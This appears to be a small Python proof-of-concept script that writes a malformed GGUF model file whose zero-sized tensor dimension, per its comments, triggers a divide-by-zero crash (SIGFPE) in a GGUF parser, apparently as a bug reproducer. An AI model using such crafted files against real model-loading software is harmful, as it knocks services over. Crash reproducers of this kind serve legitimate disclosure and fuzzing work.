File size: 761 Bytes
0028206
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import struct
def gguf_str(s):
    b=s.encode()
    return struct.pack("<Q",len(b))+b
buf=b""
buf+=b"GGUF"                      # magic
buf+=struct.pack("<I",3)         # version 3
buf+=struct.pack("<q",1)         # n_tensors = 1
buf+=struct.pack("<q",0)         # n_kv = 0
# tensor info
buf+=gguf_str("x")               # tensor name
buf+=struct.pack("<I",2)         # n_dims = 2
buf+=struct.pack("<q",1)         # ne[0] = 1
buf+=struct.pack("<q",0)         # ne[1] = 0  -> INT64_MAX/0 SIGFPE at gguf.cpp:681
buf+=struct.pack("<i",0)         # type = GGML_TYPE_F32 (not reached)
buf+=struct.pack("<Q",0)         # offset (not reached)
open("poc_divzero.gguf","wb").write(buf)
print("wrote poc_divzero.gguf",len(buf),"bytes")
print("hexdump:")
print(buf.hex())